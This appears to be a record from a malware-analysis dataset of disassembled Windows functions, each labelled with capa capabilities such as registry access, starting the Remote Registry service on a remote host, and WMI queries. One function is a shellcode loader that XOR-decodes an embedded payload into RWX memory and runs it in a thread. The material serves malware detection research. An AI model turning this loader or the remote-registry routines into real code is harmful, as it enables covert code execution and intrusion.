joyce8/EMBER2024-capa huggingface dataset:
Function at 0x448490
Capabilities:
Reference wmi statements

Disassembly:
push 0xffffffffffffffff
push 0x460520
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x47b038]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x47b038]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x50]
mov edi, ecx
xor ebx, ebx
xor eax, eax
mov dword [esp + 0x1c], eax
cmp byte [edi], bl
je 0x448617
push str.SELECT__FROM_Win32_ComputerSystem
lea ecx, [esp + 0x2c]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call fcn.00441940
mov esi, eax
push 0x4742d8
lea ecx, [esp + 0x28]
mov dword [esp + 0x4c], ebx
call fcn.00441940
mov ecx, dword [esi]
mov byte [esp + 0x48], 1
cmp ecx, ebx
je 0x448511
mov ecx, dword [ecx]
jmp 0x448513
xor ecx, ecx
mov eax, dword [eax]
cmp eax, ebx
je 0x44851d
mov edx, dword [eax]
jmp 0x44851f
xor edx, edx
mov eax, dword [edi + 0x63c]
mov esi, dword [eax]
lea edi, [esp + 0x14]
push edi
push ebx
push 0x30
push ecx
push edx
push eax
mov eax, dword [esi + 0x50]
call eax
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00441a60
lea ecx, [esp + 0x28]
mov dword [esp + 0x48], 0xffffffff
call fcn.00441a60
cmp esi, ebx
jl 0x448613
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x1c]
push edx
push 1
mov dword [esp + 0x2c], ebx
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
mov eax, dword [ecx + 0x10]
call eax
mov esi, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
cmp dword [esp + 0x20], ebx
je 0x4485ff
cmp esi, ebx
jl 0x4485ff
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
push ebx
push ebx
lea edx, [esp + 0x34]
push edx
push ebx
push str.SystemType
push eax
mov eax, dword [ecx + 0x10]
call eax
cmp ebp, ebx
je 0x4485df
mov eax, dword [esp + 0x34]
mov edx, ebp
sub edx, eax
lea ecx, [ecx]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, bx
jne 0x4485d0
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x18]
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
mov esi, 1
call eax
mov eax, esi
jmp 0x448617
mov eax, dword [esp + 0x18]
mov edx, dword [eax]
mov esi, dword [esp + 0x1c]
push eax
mov eax, dword [edx + 8]
call eax
mov eax, esi
jmp 0x448617
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0044ac80
add esp, 0x38
ret 4
Function at 0x449680
Capabilities:
Start service

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0xc]
mov dword [esp + 4], 0
test edi, edi
je 0x4497a5
cmp word [edi], 0
je 0x4497a5
mov ecx, dword [esp + 0x10]
push esi
lea eax, [esp + 8]
push eax
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
mov esi, eax
test esi, esi
je 0x44979d
push esi
push edi
push str.RegConnectRegistry_failed_____s___ld__n
call fcn.0043e2c0
xor eax, eax
add esp, 0xc
mov dword [esp + 8], eax
cmp esi, 0x35
jne 0x4497a1
push ebx
push str.__Try_to_start_Remote_Registry_service_n
call fcn.0043e2c0
add esp, 4
push 0xf003f
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x449759
push ebp
push 0xf01ff
push str.RemoteRegistry
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x44973f
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x449736
push str.StartService___Control_service_success_n
call fcn.0043e1d0
add esp, 4
push esi
call ebp
push ebx
call ebp
pop ebp
jmp 0x44976d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.StartService___OpenService_error___d_n
call fcn.0043e1d0
add esp, 8
push ebx
call ebp
pop ebp
jmp 0x44976d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.StartService___OpenSCManager_error___d_n
call fcn.0043e1d0
add esp, 8
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0xc]
push edx
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
pop ebx
test eax, eax
je 0x44979d
push eax
push edi
push str.RegConnectRegistry_failed_____s___ld__n
call fcn.0043e2c0
add esp, 0xc
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret
mov eax, dword [esp + 0x10]
pop edi
pop ecx
ret
Function at 0x4497b0
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0xc
push ebx
push esi
push eax
push ecx
xor ebx, ebx
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x4497d5
pop esi
pop ebx
add esp, 0xc
ret
mov edx, dword [esp + 0x28]
mov dword [esp + 0xc], edx
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x2c]
je 0x4497f6
test eax, 0x200
jne 0x4497f6
or eax, 0x100
push edi
mov edi, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push eax
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x449875
mov esi, dword [esp + 0x28]
mov ecx, dword [esp + 0xc]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x44985c
push esi
push eax
push str.SetRegValueLong___Set_value_error____ld_for__s_n
call fcn.0043e2c0
mov edx, dword [esp + 0x18]
add esp, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 0xc
ret
mov edx, dword [esp + 0xc]
push edx
mov ebx, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 0xc
ret
push edi
push eax
push str.SetRegValueLong___Open_registry_error____ld_for__s_n
call fcn.0043e2c0
add esp, 0xc
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 0xc
ret

Function at 0x449890
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x10
push esi
push eax
push ecx
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x4498b5
mov eax, dword [esp + 0x28]
pop esi
add esp, 0x10
ret
mov edx, dword [esp + 0x28]
mov dword [esp + 8], edx
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x2c]
je 0x4498d6
test eax, 0x200
jne 0x4498d6
or eax, 0x100
push edi
mov edi, dword [esp + 0x24]
lea ecx, [esp + 8]
push ecx
push eax
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x449940
mov esi, dword [esp + 0x28]
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0
push esi
push edx
mov dword [esp + 0x28], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x44992b
push esi
push eax
push str.GetRegValueLong___Get_value_error____ld_for__s_n
call fcn.0043e2c0
add esp, 0xc
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
pop edi
pop esi
add esp, 0x10
ret
push edi
push eax
push str.GetRegValueLong___Open_registry_error____ld_for__s_n
call fcn.0043e2c0
mov eax, dword [esp + 0x18]
add esp, 0xc
pop edi
pop esi
add esp, 0x10
ret
Function at 0x449960
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 8
push esi
push eax
push ecx
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x449981
pop esi
add esp, 8
ret
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x28]
je 0x44999a
test eax, 0x200
jne 0x44999a
or eax, 0x100
push edi
mov edi, dword [esp + 0x1c]
lea edx, [esp + 8]
push edx
push eax
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x449a13
mov ecx, dword [esp + 0x24]
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x28]
push eax
mov eax, dword [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
push 0
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4499fc
push edi
push eax
push str.GetRegValueBinary___Get_value_error____ld_for__s_n
xor esi, esi
call fcn.0043e2c0
mov ecx, dword [esp + 0x14]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
add esp, 8
ret
mov ecx, dword [esp + 8]
mov esi, dword [esp + 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
add esp, 8
ret
push edi
push eax
push str.GetRegValueBinary___Open_registry_error____ld_for__s_n
xor esi, esi
call fcn.0043e2c0
add esp, 0xc
pop edi
mov eax, esi
pop esi
add esp, 8
ret

Function at 0x449a30
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 8
push ebx
push esi
push eax
push ecx
xor ebx, ebx
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x449a55
pop esi
pop ebx
add esp, 8
ret
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x2c]
je 0x449a6e
test eax, 0x200
jne 0x449a6e
or eax, 0x100
push edi
mov edi, dword [esp + 0x20]
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x10]
push ecx
push 0
push eax
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x449af0
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0xc]
push edx
push eax
push 7
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x449ad7
push esi
push eax
push str.SetRegValueBinary___Set_value_error____ld_for__s_n
call fcn.0043e1d0
mov edx, dword [esp + 0x18]
add esp, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 8
ret
mov edx, dword [esp + 0xc]
push edx
mov ebx, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 8
ret
push edi
push eax
push str.SetRegValueBinary___Open_registry_error____ld_for__s_n
call fcn.0043e1d0
add esp, 0xc
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 8
ret
Function at 0x449b10
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 8
push ebx
push esi
push eax
push ecx
xor ebx, ebx
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x449b35
pop esi
pop ebx
add esp, 8
ret
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x28]
je 0x449b4e
test eax, 0x200
jne 0x449b4e
or eax, 0x100
push edi
mov edi, dword [esp + 0x20]
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x10]
push ecx
push 0
push eax
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x449be9
mov edx, dword [esp + 0x28]
mov eax, edx
lea esi, [eax + 2]
jmp 0x449b80
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x449b80
mov ecx, dword [esp + 0xc]
sub eax, esi
mov esi, dword [esp + 0x24]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push edx
push 1
push 0
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x449bd0
push esi
push eax
push str.SetRegValueLongW___Set_value_error____ld_for__s_n
call fcn.0043e2c0
mov edx, dword [esp + 0x18]
add esp, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 8
ret
mov edx, dword [esp + 0xc]
push edx
mov ebx, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 8
ret
push edi
push eax
push str.SetRegValueLongW___Open_registry_error____ld_for__s_n
call fcn.0043e2c0
add esp, 0xc
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 8
ret
Function at 0x449c10
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x420
mov eax, dword [0x47b038]
xor eax, esp
mov dword [esp + 0x41c], eax
mov ecx, dword [esp + 0x428]
mov eax, dword [esp + 0x424]
push ebx
mov ebx, dword [esp + 0x434]
push ebp
mov ebp, dword [esp + 0x43c]
push esi
push edi
mov edi, dword [esp + 0x43c]
push ecx
push eax
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
je 0x449d1e
mov dword [esp + 0x10], 1
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x448]
je 0x449c83
test eax, 0x200
jne 0x449c83
or eax, 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
cmp eax, esi
jne 0x449d07
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
push ebx
push edx
mov dword [esp + 0x28], 0x208
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, esi
je 0x449ce7
push ebx
push eax
xor ecx, ecx
push str.GetRegValueString___Get_value_error____ld_for__s_n
mov word [ebp], cx
mov dword [esp + 0x1c], esi
call fcn.0043e2c0
mov eax, dword [esp + 0x20]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x449d1a
lea edx, [esp + 0x1c]
push edx
push 0x104
push ebp
call fcn.0044bf5b
mov eax, dword [esp + 0x20]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x449d1a
push edi
push eax
push str.GetRegValueString___Open_registry_error____ld_for__s_n
mov dword [esp + 0x1c], esi
call fcn.0043e2c0
add esp, 0xc
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x42c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0044ac80
add esp, 0x420
ret

Function at 0x449e00
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push esi
push eax
push ecx
mov dword [esp + 0xc], 0
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x449e29
pop esi
add esp, 0x10
ret
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x2c]
je 0x449e42
test eax, 0x200
jne 0x449e42
or eax, 0x100
push edi
mov edi, dword [esp + 0x24]
lea edx, [esp + 0xc]
push edx
push eax
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x449ebc
xor esi, esi
cmp dword [esp + 0x2c], esi
jle 0x449ea7
mov edi, dword [esp + 0x28]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov edi, edi
mov edx, dword [esp + 0x10]
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 0
lea ecx, [esp + 0x24]
push ecx
push edi
push esi
push edx
mov dword [esp + 0x34], 0x104
call ebx
test eax, eax
jne 0x449e9f
inc dword [esp + 0xc]
add edi, 0x208
inc esi
cmp esi, dword [esp + 0x30]
jl 0x449e70
pop ebx
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0x10
ret
push edi
push eax
push str.GetEnumRegValueCount___Open_registry_error____ld_for__s_n
call fcn.0043e2c0
mov eax, dword [esp + 0x14]
add esp, 0xc
pop edi
pop esi
add esp, 0x10
ret
Function at 0x449fa0
Capabilities:
Query or enumerate registry key

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
push esi
push eax
push ecx
xor ebx, ebx
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x449fc1
pop esi
pop ebx
pop ecx
ret
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x24]
je 0x449fda
test eax, 0x200
jne 0x449fda
or eax, 0x100
push edi
mov edi, dword [esp + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x44a03c
mov ebx, dword [esp + 0x24]
xor esi, esi
test ebx, ebx
jle 0x44a02a
mov edi, dword [esp + 0x20]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x44a010
mov eax, dword [esp + 0x10]
push 0x104
push edi
push esi
push eax
call ebp
inc esi
add edi, 0x208
cmp esi, ebx
jl 0x44a010
pop ebp
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
push edi
push eax
push str.GetEnumRegSubkeys___Open_registry_error____ld_for__s_n
call fcn.0043e1d0
add esp, 0xc
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
ret

Function at 0x44a060
Capabilities:
Delete registry value

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
push esi
push eax
push ecx
xor ebx, ebx
call fcn.00449680
mov esi, eax
add esp, 8
test esi, esi
jne 0x44a081
pop esi
pop ebx
pop ecx
ret
push edi
push 0
call fcn.00449670
add esp, 4
call fcn.00449630
mov edi, dword [esp + 0x1c]
lea edx, [esp + 0xc]
push edx
push 0x2011f
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x44a0fe
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0xc]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x44a0d6
mov ecx, dword [esp + 0xc]
push ecx
lea ebx, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
push esi
push eax
push str.RemoveRegValue___remove_registry_error____ld_for__s_n
call fcn.0043e2c0
push 2
call fcn.00449670
mov ecx, dword [esp + 0x1c]
add esp, 0x10
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
push edi
push eax
push str.RemoveRegValue___Open_registry_error____ld_for__s_n
call fcn.0043e2c0
push 1
call fcn.00449670
add esp, 0x10
pop edi
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
Function at 0x44a120
Capabilities:
Delete registry key

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push edi
push eax
push ecx
mov dword [esp + 0x10], 0
call fcn.00449680
mov edi, eax
add esp, 8
test edi, edi
jne 0x44a149
pop edi
add esp, 0xc
ret
push esi
mov esi, dword [esp + 0x20]
push esi
push str.RemoveRegKey_____s__n
call fcn.0043e2c0
add esp, 8
call fcn.00449630
test eax, eax
mov eax, dword [esp + 0x24]
je 0x44a175
test eax, 0x200
jne 0x44a175
or eax, 0x100
lea edx, [esp + 0x10]
push edx
push eax
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x44a2f1
push ebx
push ebp
push 0x20019
push esi
push edi
push eax
call fcn.00449ee0
mov ebx, eax
imul eax, eax, 0x208
push eax
call fcn.0044ad7f
mov ebp, eax
add esp, 0x14
mov dword [esp + 0x10], ebp
test ebp, ebp
je 0x44a200
push 0x20019
push ebx
push ebp
push esi
push edi
push 0
call fcn.00449fa0
add esp, 0x18
test ebx, ebx
jle 0x44a1f7
mov edi, edi
movzx eax, byte [esp + 0x30]
mov ecx, dword [esp + 0x18]
push 0
push eax
push ebp
push ecx
push 0
call fcn.0044a120
add esp, 0x14
add ebp, 0x208
sub ebx, 1
jne 0x44a1d0
mov ebp, dword [esp + 0x10]
push ebp
call fcn.0044ad0a
add esp, 4
push 0x20019
push esi
push edi
push 0
call fcn.00449d40
mov ebp, eax
mov edx, ebp
imul edx, edx, 0x208
push edx
call fcn.0044ad7f
mov ebx, eax
add esp, 0x14
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x44a26c
push 0x20019
push ebp
push ebx
push esi
push edi
push 0
call fcn.00449e00
add esp, 0x18
test ebp, ebp
jle 0x44a263
push 0xf003f
push ebx
push esi
push edi
push 0
call fcn.0044a060
add esp, 0x14
add ebx, 0x208
sub ebp, 1
jne 0x44a242
mov ebx, dword [esp + 0x10]
push ebx
call fcn.0044ad0a
add esp, 4
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00449630
pop ebp
pop ebx
test eax, eax
je 0x44a2cf
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44a300
push str.RegDeleteKeyExW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x44a2be
mov ecx, dword [esp + 0x1c]
push 0
push 0x100
push esi
push ecx
call eax
test eax, eax
jne 0x44a2be
mov dword [esp + 0xc], 1
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0xc]
pop esi
pop edi
add esp, 0xc
ret
mov edx, dword [esp + 0x1c]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x44a300
mov dword [esp + 0xc], 1
mov eax, dword [esp + 0xc]
pop esi
pop edi
add esp, 0xc
ret
push esi
push eax
push str.RemoveRegKey___Open_registry_error____ld_for__s_n
call fcn.0043e2c0
add esp, 0xc
mov eax, dword [esp + 0xc]
pop esi
pop edi
add esp, 0xc
ret

Function at 0x44ac80
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47b038]
jne 0x44ac8a
repz ret
jmp fcn.0044f362
Function at 0x45a3da
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0045060a
and dword [ebp - 4], 0
cmp dword [0x47d618], 0
mov ebx, eax
jne 0x45a48b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45a53c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x45a53c
push eax
call fcn.00450598
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x47d618], eax
call esi
push eax
call fcn.00450598
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x47d61c], eax
call esi
push eax
call fcn.00450598
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x47d620], eax
call esi
push eax
call fcn.00450598
pop ecx
mov dword [0x47d628], eax
test eax, eax
je 0x45a48b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00450598
pop ecx
mov dword [0x47d624], eax
mov eax, dword [0x47d624]
cmp eax, ebx
je 0x45a4e3
cmp dword [0x47d628], ebx
je 0x45a4e3
push eax
call fcn.00450613
push dword [0x47d628]
mov esi, eax
call fcn.00450613
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45a4e3
test edi, edi
je 0x45a4e3
call esi
test eax, eax
je 0x45a4da
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45a4da
test byte [ebp - 0xc], 1
jne 0x45a4e3
or dword [ebp + 0x10], 0x200000
jmp 0x45a51c
mov eax, dword [0x47d61c]
cmp eax, ebx
je 0x45a51c
push eax
call fcn.00450613
pop ecx
test eax, eax
je 0x45a51c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x45a51c
mov eax, dword [0x47d620]
cmp eax, ebx
je 0x45a51c
push eax
call fcn.00450613
pop ecx
test eax, eax
je 0x45a51c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x47d618]
call fcn.00450613
pop ecx
test eax, eax
je 0x45a53c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x45a53e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push esi
push 0x40
push 0x3000
push 0xc1
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40103a
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x4012e0
call fcn.004010d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, 1
pop esi
ret
movaps xmm2, xmmword [0x403170]
xor eax, eax
movups xmm0, xmmword [eax + 0x405058]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405058], xmm1
movups xmm0, xmmword [eax + 0x405068]
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [eax + 0x405068], xmm0
movups xmm0, xmmword [eax + 0x405078]
xorps xmm0, xmm2
movups xmmword [eax + 0x405078], xmm0
movups xmm0, xmmword [eax + 0x405088]
xorps xmm1, xmm0
movups xmmword [eax + 0x405088], xmm1
add eax, 0x40
cmp eax, 0xc0
jb 0x401043
push 0xc1
push 0x405058
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop esi
ret

Function at 0x401bcf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c0e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401c0e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c0e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c0e
cmp dword [ecx + 0x74], 0xe
jbe 0x401c0e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret